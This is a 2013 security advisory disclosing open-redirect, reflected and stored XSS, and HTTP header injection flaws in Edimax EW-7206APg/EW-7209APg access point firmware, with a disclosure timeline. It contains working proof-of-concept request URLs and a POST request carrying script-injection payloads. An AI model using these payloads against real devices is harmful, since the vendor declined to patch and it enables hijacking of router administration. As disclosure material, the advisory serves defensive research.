Device Name: EW-7206APg / EW-7209APg
Vendor: Edimax

============  Vulnerable Firmware Releases: ============ 

Device: EW-7206APg
 Hardware Version      Rev. A
 Runtime Code Version   v1.32 
 Runtime Code Version   V1.33

Device: EW-7209APg
 Hardware Version      Rev. A
 Runtime Code Version   1.21 
 Runtime Code Version   1.29 

============ Device Description: ============ 

Acting as a bridge between the wired Ethernet and the 2.4GHz IEEE 802.11g/b wireless LAN, this wireless LAN access point can let your wireless LAN client stations access both the wired and the wireless network nodes.

EW-7206APg: http://www.edimax.com/en/produce_detail.php?pl1_id=25&pl2_id=134&pl3_id=359&pd_id=18
EW-7209APg: http://www.edimax-de.eu/de/support_detail.php?pd_id=18&pl1_id=1

============ Vulnerability Overview: ============ 

* URL Redirection: 
  Parameter:  submit-url and wlan_url

http://192.168.178.175/goform/formWirelessTbl?submit-url=http://www.google.de

http://192.168.178.175/goform/formWlanSetup?apMode=0&band=2&ssid=test&chan=11&macAddrValue=5C260A2BF03F&wlanMacClone=0&wlanMac=000000000000&autoMacClone=no&repeaterSSID=&wlLinkMac1=000000000000&wlLinkMac2=000000000000&wlLinkMac3=000000000000&wlLinkMac4=000000000000&wlLinkMac5=000000000000&wlLinkMac6=000000000000&x=57&y=20&wlan-url=http://www.pwnd.pwnd

* reflected XSS:
  Parameter:   submit-url and wlan-url
        
Injecting scripts into the parameter submit-url or wlan-url reveals that this parameter is not properly validated for malicious input.

Example Exploit:
http://192.168.178.175/goform/formWlanSetup?apMode=0&band=2&ssid=&chan=11&macAddrValue=&wlanMacClone=0&wlanMac=&autoMacClone=no&repeaterSSID=&wlLinkMac1=&wlLinkMac2=&wlLinkMac3=&wlLinkMac4=&wlLinkMac5=&wlLinkMac6=&x=54&y=12&wlan-url=test><script>alert('XSSed')</script>test

* stored XSS 

  * in System Utility -> Domain Name:
    => parameter: DomainName
    
Injecting scripts into the parameter DomainName reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.

http://192.168.178.175/goform/formTcpipSetup?oldpass=&newpass=&confpass=&ip=192.168.178.175&mask=255.255.255.0&gateway=0.0.0.0&dhcp=2&DhcpGatewayIP=0.0.0.0&DhcpNameServerIP=0.0.0.0&dhcpRangeStart=192.168.178.100&dhcpRangeEnd=192.168.178.200&DomainName="><script>alert(2)</script>&leaseTimeGet=946080000&leaseTime=946080000&B1.x=52&B1.y=21&submit-url=%2Fsysutility.asp&ipChanged=

  * Stored XSS in wireless settings / basic settings -> ESSID
    -> The injected script code gets executed within the device information

Injecting scripts into the parameter ssid reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.

Example Request:
POST /goform/formWlanSetup HTTP/1.1
Host: 192.168.178.175
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.175/wlbasic.asp
Authorization: Basic xxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 351

apMode=0&band=2&ssid=%22%3E%3Cimg+src%3D%220%22+onerror%3Dalert%281%29%3E&chan=11&macAddrValue=5C260A2BF03F&wlanMacClone=0&wlanMac=000000000000&autoMacClone=no&repeaterSSID=&wlLinkMac1=000000000000&wlLinkMac2=000000000000&wlLinkMac3=000000000000&wlLinkMac4=000000000000&wlLinkMac5=000000000000&wlLinkMac6=000000000000&x=50&y=20&wlan-url=%2Fwlbasic.asp

* HTTP Header Injection:

  Parameter: submit-url

Injecting code into the parameter submit-url mode reveals that this parameter is not properly validated for malicious input and so it is possible to manipulate the header information.

http://192.168.178.175/goform/formWirelessTbl?submit-url=e82f5%0d%0aNew%20Header:%20PWND

Response:
HTTP/1.0 302 Redirect
Server: GoAhead-Webs
Date: Sat Jan  1 14:06:23 2000
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Location: http://192.168.178.175/e82f5
New Header: PWND
<snip>

============ Solution ============

No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de
Advisory URL: http://www.s3cur1ty.de/m1adv2013-009
Twitter: @s3cur1ty_de

============ Time Line: ============

September 2012 - discovered vulnerability
21.09.2012 - contacted vendor with vulnerability details
24.09.2012 - vendor responded that they will not provide a fix
14.02.2013 - public disclosure

===================== Advisory end =====================